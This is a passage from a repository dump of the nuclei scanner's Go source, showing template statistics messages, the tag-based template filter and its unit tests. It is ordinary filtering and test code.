verification\")\n\t\t\t}\n\t\t\tassert.Equal(t, tt.wantVerified, verified, \"Unexpected verification result\")\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/templates/stats.go",
    "content": "package templates\n\nimport \"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats\"\n\nfunc init() {\n\tstats.NewEntry(SyntaxWarningStats, \"Found %d templates with syntax warning (use -validate flag for further examination)\")\n\tstats.NewEntry(SyntaxErrorStats, \"Found %d templates with syntax error (use -validate flag for further examination)\")\n\tstats.NewEntry(RuntimeWarningsStats, \"Found %d templates with runtime error (use -validate flag for further examination)\")\n\tstats.NewEntry(SkippedCodeTmplTamperedStats, \"Found %d unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)\")\n\tstats.NewEntry(ExcludedHeadlessTmplStats, \"Excluded %d headless template[s] (disabled as default), use -headless option to run headless templates.\")\n\tstats.NewEntry(ExcludedCodeTmplStats, \"Excluded %d code template[s] (disabled as default), use -code option to run code templates.\")\n\tstats.NewEntry(ExcludedSelfContainedStats, \"Excluded %d self-contained template[s] (disabled as default), use -esc option to run self-contained templates.\")\n\tstats.NewEntry(ExcludedFileStats, \"Excluded %d file template[s] (disabled as default), use -file option to run file templates.\")\n\tstats.NewEntry(TemplatesExcludedStats, \"Excluded %d template[s] with known weak matchers / tags excluded from default run using .nuclei-ignore\")\n\tstats.NewEntry(ExcludedDastTmplStats, \"Excluded %d dast template[s] (disabled as default), use -dast option to run dast templates.\")\n\tstats.NewEntry(SkippedUnsignedStats, \"Skipping %d unsigned template[s]\")\n\tstats.NewEntry(SkippedRequestSignatureStats, \"Skipping %d templates, HTTP Request signatures can only be used in Signed & Verified templates.\")\n}\n"
  },
  {
    "path": "pkg/templates/tag_filter.go",
    "content": "package templates\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"io\"\n\t\"net/http\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\n// TagFilter is used to filter nuclei templates for tag based execution\ntype TagFilter struct {\n\tallowedTags       map[string]struct{}\n\tseverities        map[severity.Severity]struct{}\n\texcludeSeverities map[severity.Severity]struct{}\n\tauthors           map[string]struct{}\n\tblock             map[string]struct{}\n\tmatchAllows       map[string]struct{}\n\ttypes             map[types.ProtocolType]struct{}\n\texcludeTypes      map[types.ProtocolType]struct{}\n\tallowedIds        map[string]struct{}\n\texcludeIds        map[string]struct{}\n\tincludeConditions map[string]*govaluate.EvaluableExpression\n}\n\n// ErrExcluded is returned for excluded templates\nvar ErrExcluded = errors.New(\"the template was excluded\")\n\n// Match filters templates based on user provided tags, authors, extraTags and severity.\n// If the template contains tags specified in the deny-list, it will not be matched\n// unless it is explicitly specified by user using the includeTags (matchAllows field).\n// Matching rule: (tag1 OR tag2...) AND (author1 OR author2...) AND (severity1 OR severity2...) AND (extraTags1 OR extraTags2...)\n// Returns true if the template matches the filter criteria, false otherwise.\nfunc (tagFilter *TagFilter) Match(template *Template, extraTags []string) (bool, error) {\n\ttemplateTags := template.Info.Tags.ToSlice()\n\tfor _, templateTag := range templateTags {\n\t\t_, blocked := tagFilter.block[templateTag]\n\t\t_, allowed := tagFilter.matchAllows[templateTag]\n\n\t\tif blocked && !allowed { // the whitelist has precedence over the blacklist\n\t\t\treturn false, ErrExcluded\n\t\t}\n\t}\n\n\tif !isExtraTagMatch(extraTags, templateTags) {\n\t\treturn false, nil\n\t}\n\n\tif !isTagMatch(tagFilter, templateTags) {\n\t\treturn false, nil\n\t}\n\n\tif !isAuthorMatch(tagFilter, template.Info.Authors.ToSlice()) {\n\t\treturn false, nil\n\t}\n\n\tif !isSeverityMatch(tagFilter, template.Info.SeverityHolder.Severity) {\n\t\treturn false, nil\n\t}\n\n\tif !isTemplateTypeMatch(tagFilter, template.Type()) {\n\t\treturn false, nil\n\t}\n\n\tif !isIdMatch(tagFilter, strings.ToLower(template.ID)) {\n\t\treturn false, nil\n\t}\n\n\tif !isConditionMatch(tagFilter, template) {\n\t\treturn false, nil\n\t}\n\n\treturn true, nil\n}\n\nfunc isSeverityMatch(tagFilter *TagFilter, templateSeverity severity.Severity) bool {\n\tif (len(tagFilter.excludeSeverities) == 0 && len(tagFilter.severities) == 0) || templateSeverity == severity.Undefined {\n\t\treturn true\n\t}\n\n\tincluded := true\n\tif len(tagFilter.severities) > 0 {\n\t\t_, included = tagFilter.severities[templateSeverity]\n\t}\n\n\texcluded := false\n\tif len(tagFilter.excludeSeverities) > 0 {\n\t\t_, excluded = tagFilter.excludeSeverities[templateSeverity]\n\t}\n\n\treturn included && !excluded\n}\n\nfunc isAuthorMatch(tagFilter *TagFilter, templateAuthors []string) bool {\n\tif len(tagFilter.authors) == 0 {\n\t\treturn true\n\t}\n\n\ttemplateAuthorMap := toMap(templateAuthors)\n\tfor requiredAuthor := range tagFilter.authors {\n\t\tif _, ok := templateAuthorMap[requiredAuthor]; ok {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc isExtraTagMatch(extraTags []string, templateTags []string) bool {\n\tif len(extraTags) == 0 {\n\t\treturn true\n\t}\n\n\ttemplatesTagMap := toMap(templateTags)\n\tfor _, extraTag := range extraTags {\n\t\tif _, ok := templatesTagMap[extraTag]; ok {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc isTagMatch(tagFilter *TagFilter, templateTags []string) bool {\n\tif len(tagFilter.allowedTags) == 0 {\n\t\treturn true\n\t}\n\n\tfor _, templateTag := range templateTags {\n\t\tif _, ok := tagFilter.allowedTags[templateTag]; ok {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc isTemplateTypeMatch(tagFilter *TagFilter, templateType types.ProtocolType) bool {\n\tif len(tagFilter.excludeTypes) == 0 && len(tagFilter.types) == 0 {\n\t\treturn true\n\t}\n\tif templateType.String() == \"\" || templateType == types.InvalidProtocol {\n\t\treturn true\n\t}\n\n\tincluded := true\n\tif len(tagFilter.types) > 0 {\n\t\t_, included = tagFilter.types[templateType]\n\t}\n\n\texcluded := false\n\tif len(tagFilter.excludeTypes) > 0 {\n\t\t_, excluded = tagFilter.excludeTypes[templateType]\n\t}\n\n\treturn included && !excluded\n}\n\nfunc isIdMatch(tagFilter *TagFilter, templateId string) bool {\n\tif len(tagFilter.excludeIds) == 0 && len(tagFilter.allowedIds) == 0 {\n\t\treturn true\n\t}\n\n\tincluded := len(tagFilter.allowedIds) == 0\n\tfor id := range tagFilter.allowedIds {\n\t\tmatch, err := filepath.Match(id, templateId)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif match {\n\t\t\tincluded = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\texcluded := false\n\tif len(tagFilter.excludeIds) > 0 {\n\t\t_, excluded = tagFilter.excludeIds[templateId]\n\t}\n\n\treturn included && !excluded\n}\n\nfunc tryCollectConditionsMatchinfo(template *Template) map[string]interface{} {\n\t// attempts to unwrap fields to their basic types\n\t// mapping must be manual because of various abstraction layers, custom marshaling and forceful validation\n\tparameters := map[string]interface{}{\n\t\t\"id\":          template.ID,\n\t\t\"name\":        template.Info.Name,\n\t\t\"description\": template.Info.Description,\n\t\t\"tags\":        template.Info.Tags.ToSlice(),\n\t\t\"authors\":     template.Info.Authors.ToSlice(),\n\t\t\"severity\":    template.Info.SeverityHolder.Severity.String(),\n\t\t\"protocol\":    template.Type().String(),\n\t}\n\tfor k, v := range template.Info.Metadata {\n\t\t// replace `-` in keys with `_` when ranging\n\t\tparameters[strings.ReplaceAll(k, \"-\", \"_\")] = v\n\t}\n\n\tif template.Info.Classification != nil {\n\t\tparameters[\"cvss_metrics\"] = template.Info.Classification.CVSSMetrics\n\t\tparameters[\"cvss_score\"] = template.Info.Classification.CVSSScore\n\t\tparameters[\"cve_id\"] = template.Info.Classification.CVEID.ToSlice()\n\t\tparameters[\"cwe_id\"] = template.Info.Classification.CWEID.ToSlice()\n\t\tparameters[\"cpe\"] = template.Info.Classification.CPE\n\t\tparameters[\"epss_score\"] = template.Info.Classification.EPSSScore\n\t\tparameters[\"epss_percentile\"] = template.Info.Classification.EPSSPercentile\n\t}\n\n\tif template.Type() == types.HTTPProtocol {\n\t\tvar httpMethods, bodies []string\n\t\t// TODO: convert bodies to a unique string (most common operations are len and contains)\n\t\tfor _, req := range template.RequestsHTTP {\n\t\t\t// standard verb\n\t\t\thttpMethods = append(httpMethods, req.Method.String())\n\t\t\tbodies = append(bodies, req.Body)\n\t\t\t// rfc raw requests\n\t\t\tfor _, rawHttp := range req.Raw {\n\t\t\t\tif rawHttpReq, err := http.ReadRequest(bufio.NewReader(strings.NewReader(rawHttp))); err == nil && rawHttpReq != nil {\n\t\t\t\t\thttpMethods = append(httpMethods, rawHttpReq.Method)\n\t\t\t\t\tbody, _ := io.ReadAll(rawHttpReq.Body)\n\t\t\t\t\tbodies = append(bodies, string(body))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\thttpMethods = sliceutil.Dedupe(sliceutil.PruneEmptyStrings(httpMethods))\n\t\tparameters[\"http_method\"] = httpMethods\n\t\tbodies = sliceutil.Dedupe(sliceutil.PruneEmptyStrings(bodies))\n\t\tparameters[\"body\"] = strings.ToLower(strings.Join(bodies, \"\\n\"))\n\t}\n\n\t// collect matchers types\n\tvar matcherTypes []string\n\tfor _, req := range template.RequestsDNS {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsFile {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsHTTP {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsHeadless {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsNetwork {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsSSL {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsWHOIS {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tfor _, req := range template.RequestsWebsocket {\n\t\tmatcherTypes = append(matcherTypes, collectMatcherTypes(req.Matchers)...)\n\t}\n\tmatcherTypes = sliceutil.Dedupe(sliceutil.PruneEmptyStrings(matcherTypes))\n\tparameters[\"matcher_type\"] = matcherTypes\n\n\t// collect extractors types\n\tvar extractorTypes []string\n\tfor _, req := range template.RequestsDNS {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsFile {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsHTTP {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsHeadless {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsNetwork {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsSSL {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsWHOIS {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\tfor _, req := range template.RequestsWebsocket {\n\t\textractorTypes = append(extractorTypes, collectExtractorTypes(req.Extractors)...)\n\t}\n\textractorTypes = sliceutil.Dedupe(sliceutil.PruneEmptyStrings(extractorTypes))\n\tparameters[\"extractor_type\"] = extractorTypes\n\n\treturn parameters\n}\n\nfunc collectMatcherTypes(matchers []*matchers.Matcher) []string {\n\tvar matcherTypes []string\n\tfor _, matcher := range matchers {\n\t\tmatcherTypes = append(matcherTypes, matcher.Type.String())\n\t}\n\treturn matcherTypes\n}\n\nfunc collectExtractorTypes(extractors []*extractors.Extractor) []string {\n\tvar extractorTypes []string\n\tfor _, extractor := range extractors {\n\t\textractorTypes = append(extractorTypes, extractor.GetType().String())\n\t}\n\treturn extractorTypes\n}\n\nfunc isConditionMatch(tagFilter *TagFilter, template *Template) bool {\n\tif len(tagFilter.includeConditions) == 0 {\n\t\treturn true\n\t}\n\n\tparameters := tryCollectConditionsMatchinfo(template)\n\n\tfor _, expr := range tagFilter.includeConditions {\n\t\tresult, err := expr.Evaluate(parameters)\n\t\t// in case of errors  => skip\n\t\tif err != nil {\n\t\t\t// Using debug as the failure here might be legitimate (eg. template not having optional metadata fields => missing required fields)\n\t\t\tgologger.Debug().Msgf(\"The expression condition couldn't be evaluated correctly for template \\\"%s\\\": %s\\n\", template.ID, err)\n\t\t\treturn false\n\t\t}\n\t\tresultBool, ok := result.(bool)\n\t\t// in case the result is not boolean => skip\n\t\tif !ok {\n\t\t\treturn false\n\t\t}\n\t\t// in case the result is false => skip\n\t\tif !resultBool {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype TagFilterConfig struct {\n\tTags              []string\n\tExcludeTags       []string\n\tAuthors           []string\n\tSeverities        severity.Severities\n\tExcludeSeverities severity.Severities\n\tIncludeTags       []string\n\tIncludeIds        []string\n\tExcludeIds        []string\n\tProtocols         types.ProtocolTypes\n\tExcludeProtocols  types.ProtocolTypes\n\tIncludeConditions []string\n}\n\n// New returns a tag filter for nuclei tag based execution\n//\n// It takes into account Tags, Severities, ExcludeSeverities, Authors, IncludeTags, ExcludeTags, Conditions.\nfunc NewTagFilter(config *TagFilterConfig) (*TagFilter, error) {\n\tfilter := &TagFilter{\n\t\tallowedTags:       make(map[string]struct{}),\n\t\tauthors:           make(map[string]struct{}),\n\t\tseverities:        make(map[severity.Severity]struct{}),\n\t\texcludeSeverities: make(map[severity.Severity]struct{}),\n\t\tblock:             make(map[string]struct{}),\n\t\tmatchAllows:       make(map[string]struct{}),\n\t\ttypes:             make(map[types.ProtocolType]struct{}),\n\t\texcludeTypes:      make(map[types.ProtocolType]struct{}),\n\t\tallowedIds:        make(map[string]struct{}),\n\t\texcludeIds:        make(map[string]struct{}),\n\t\tincludeConditions: make(map[string]*govaluate.EvaluableExpression),\n\t}\n\tfor _, tag := range config.ExcludeTags {\n\t\tfor _, val := range splitCommaTrim(tag) {\n\t\t\tif _, ok := filter.block[val]; !ok {\n\t\t\t\tfilter.block[val] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, tag := range config.Severities {\n\t\tif _, ok := filter.severities[tag]; !ok {\n\t\t\tfilter.severities[tag] = struct{}{}\n\t\t}\n\t}\n\tfor _, tag := range config.ExcludeSeverities {\n\t\tif _, ok := filter.excludeSeverities[tag]; !ok {\n\t\t\tfilter.excludeSeverities[tag] = struct{}{}\n\t\t}\n\t}\n\tfor _, tag := range config.Authors {\n\t\tfor _, val := range splitCommaTrim(tag) {\n\t\t\tif _, ok := filter.authors[val]; !ok {\n\t\t\t\tfilter.authors[val] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, tag := range config.Tags {\n\t\tfor _, val := range splitCommaTrim(tag) {\n\t\t\tif _, ok := filter.allowedTags[val]; !ok {\n\t\t\t\tfilter.allowedTags[val] = struct{}{}\n\t\t\t}\n\t\t\t// Note: only tags specified in IncludeTags should be removed from the block list\n\t\t\t// not normal tags like config.Tags\n\t\t}\n\t}\n\tfor _, tag := range config.IncludeTags {\n\t\tfor _, val := range splitCommaTrim(tag) {\n\t\t\tif _, ok := filter.matchAllows[val]; !ok {\n\t\t\t\tfilter.matchAllows[val] = struct{}{}\n\t\t\t}\n\t\t\tdelete(filter.block, val)\n\t\t}\n\t}\n\tfor _, tag := range config.Protocols {\n\t\tif _, ok := filter.types[tag]; !ok {\n\t\t\tfilter.types[tag] = struct{}{}\n\t\t}\n\t}\n\tfor _, tag := range config.ExcludeProtocols {\n\t\tif _, ok := filter.excludeTypes[tag]; !ok {\n\t\t\tfilter.excludeTypes[tag] = struct{}{}\n\t\t}\n\t}\n\tfor _, id := range config.ExcludeIds {\n\t\tfor _, val := range splitCommaTrim(id) {\n\t\t\tif _, ok := filter.block[val]; !ok {\n\t\t\t\tfilter.excludeIds[val] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, id := range config.IncludeIds {\n\t\tfor _, val := range splitCommaTrim(id) {\n\t\t\tif _, ok := filter.allowedIds[val]; !ok {\n\t\t\t\tfilter.allowedIds[val] = struct{}{}\n\t\t\t}\n\t\t\tdelete(filter.excludeIds, val)\n\t\t}\n\t}\n\tfor _, includeCondition := range config.IncludeConditions {\n\t\tcompiled, err := govaluate.NewEvaluableExpressionWithFunctions(includeCondition, dsl.HelperFunctions)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfilter.includeConditions[includeCondition] = compiled\n\t}\n\treturn filter, nil\n}\n\n/*\nTODO similar logic is used over and over again. It should be extracted and reused\nChanging []string and string data types that hold string slices to StringSlice would be the preferred solution,\nwhich implicitly does the normalization before any other calls starting to use it.\n*/\nfunc splitCommaTrim(value string) []string {\n\tif !strings.Contains(value, \",\") {\n\t\treturn []string{strings.ToLower(value)}\n\t}\n\tsplit := strings.Split(value, \",\")\n\tfinal := make([]string, len(split))\n\tfor i, value := range split {\n\t\tfinal[i] = strings.ToLower(strings.TrimSpace(value))\n\t}\n\treturn final\n}\n\nfunc toMap(slice []string) map[string]struct{} {\n\tresult := make(map[string]struct{}, len(slice))\n\tfor _, value := range slice {\n\t\tif _, ok := result[value]; !ok {\n\t\t\tresult[value] = struct{}{}\n\t\t}\n\t}\n\treturn result\n}\n"
  },
  {
    "path": "pkg/templates/tag_filter_test.go",
    "content": "package templates\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTagBasedFilter(t *testing.T) {\n\tnewDummyTemplate := func(id string, tags, authors []string, severityValue severity.Severity, protocolType types.ProtocolType) *Template {\n\t\tdummyTemplate := &Template{}\n\t\tif id != \"\" {\n\t\t\tdummyTemplate.ID = id\n\t\t}\n\t\tif len(tags) > 0 {\n\t\t\tdummyTemplate.Info.Tags = stringslice.StringSlice{Value: tags}\n\t\t}\n\t\tif len(authors) > 0 {\n\t\t\tdummyTemplate.Info.Authors = stringslice.StringSlice{Value: authors}\n\t\t}\n\t\tdummyTemplate.Info.SeverityHolder = severity.Holder{Severity: severityValue}\n\t\tswitch protocolType {\n\t\tcase types.DNSProtocol:\n\t\t\tdummyTemplate.RequestsDNS = []*dns.Request{{}}\n\t\tcase types.HTTPProtocol:\n\t\t\tdummyTemplate.RequestsHTTP = []*http.Request{{}}\n\t\t}\n\t\treturn dummyTemplate\n\t}\n\n\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\tTags: []string{\"cves\", \"2021\", \"jira\"},\n\t})\n\trequire.Nil(t, err)\n\n\tt.Run(\"true\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"jira\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"false\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"consul\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-extra-tags-positive\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"cves\", \"vuln\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, []string{\"vuln\"})\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-extra-tags-negative\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"cves\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, []string{\"vuln\"})\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\n\tt.Run(\"not-match-excludes\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tExcludeTags: []string{\"dos\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"dos\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, err := filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t\trequire.Equal(t, ErrExcluded, err, \"could not get correct error\")\n\t})\n\tt.Run(\"match-includes\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tTags:        []string{\"cves\", \"fuzz\"},\n\t\t\tExcludeTags: []string{\"dos\", \"fuzz\"},\n\t\t\tIncludeTags: []string{\"fuzz\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, err := filter.Match(dummyTemplate, nil)\n\t\trequire.Nil(t, err, \"could not get match\")\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-includes\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tIncludeTags: []string{\"fuzz\"},\n\t\t\tExcludeTags: []string{\"fuzz\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, err := filter.Match(dummyTemplate, nil)\n\t\trequire.Nil(t, err, \"could not get match\")\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-author\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tAuthors: []string{\"pdteam\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-severity\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tSeverities: severity.Severities{severity.High},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.High, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-id\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tIncludeIds: []string{\"cve-test\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"cve-test\", nil, nil, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-exclude-severity\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tExcludeSeverities: severity.Severities{severity.Low},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.High, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t\tdummyTemplate = newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ = filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-exclude-with-tags\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tTags:        []string{\"tag\"},\n\t\t\tExcludeTags: []string{\"another\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"another\"}, []string{\"pdteam\"}, severity.High, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-conditions\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tAuthors:    []string{\"pdteam\"},\n\t\t\tTags:       []string{\"jira\"},\n\t\t\tSeverities: severity.Severities{severity.High},\n\t\t})\n\t\trequire.Nil(t, err)\n\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"jira\", \"cve\"}, []string{\"pdteam\", \"someOtherUser\"}, severity.High, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t\tdummyTemplate = newDummyTemplate(\"\", []string{\"jira\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ = filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t\tdummyTemplate = newDummyTemplate(\"\", []string{\"jira\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ = filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t\tdummyTemplate = newDummyTemplate(\"\", []string{\"consul\"}, []string{\"random\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ = filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-type\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tProtocols: []types.ProtocolType{types.HTTPProtocol},\n\t\t})\n\t\trequire.Nil(t, err)\n\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.High, types.HTTPProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-exclude-id\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tExcludeIds: []string{\"cve-test\"},\n\t\t})\n\t\trequire.Nil(t, err)\n\t\tdummyTemplate := newDummyTemplate(\"cve-test1\", nil, nil, severity.High, types.DNSProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t\tdummyTemplate = newDummyTemplate(\"cve-test\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ = filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\tt.Run(\"match-exclude-type\", func(t *testing.T) {\n\t\tfilter, err := NewTagFilter(&TagFilterConfig{\n\t\t\tExcludeProtocols: []types.ProtocolType{types.HTTPProtocol},\n\t\t})\n\t\trequire.Nil(t, err)\n\n\t\tdummyTemplate := newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.High, types.DNSProtocol)\n\t\tmatched, _ := filter.Match(dummyTemplate, nil)\n\t\trequire.True(t, matched, \"could not get correct match\")\n\t\tdummyTemplate = newDummyTemplate(\"\", []string{\"fuzz\"}, []string{\"pdteam\"}, severity.Low, types.HTTPProtocol)\n\t\tmatched, _ = filter.Match(dummyTemplate, nil)\n\t\trequire.False(t, matched, \"could not get correct match\")\n\t})\n\n\tt.Run(\"advanced-filtering-positive\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"test\", []string{\"jira\", \"test\"}, []string{\"test1\", \"test2\"}, severity.High, types.HTTPProtocol)\n\n\t\t// syntax error\n\t\ttestAdvancedFiltering(t, []string{\"id==test'\"}, dummyTemplate, true, false)\n\t\t// basic properties\n\t\ttestAdvancedFiltering(t, []string{\"id=='test'\"}, dummyTemplate, false, true)\n\t\t// simple element in slice with 'in' operator, multiple slice elements will require a custom helper function\n\t\ttestAdvancedFiltering(t, []string{\"contains(tags,'test')\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"contains(authors,'test1')\"}, dummyTemplate, false, true)\n\t\t// helper function\n\t\ttestAdvancedFiltering(t, []string{\"contains(id, 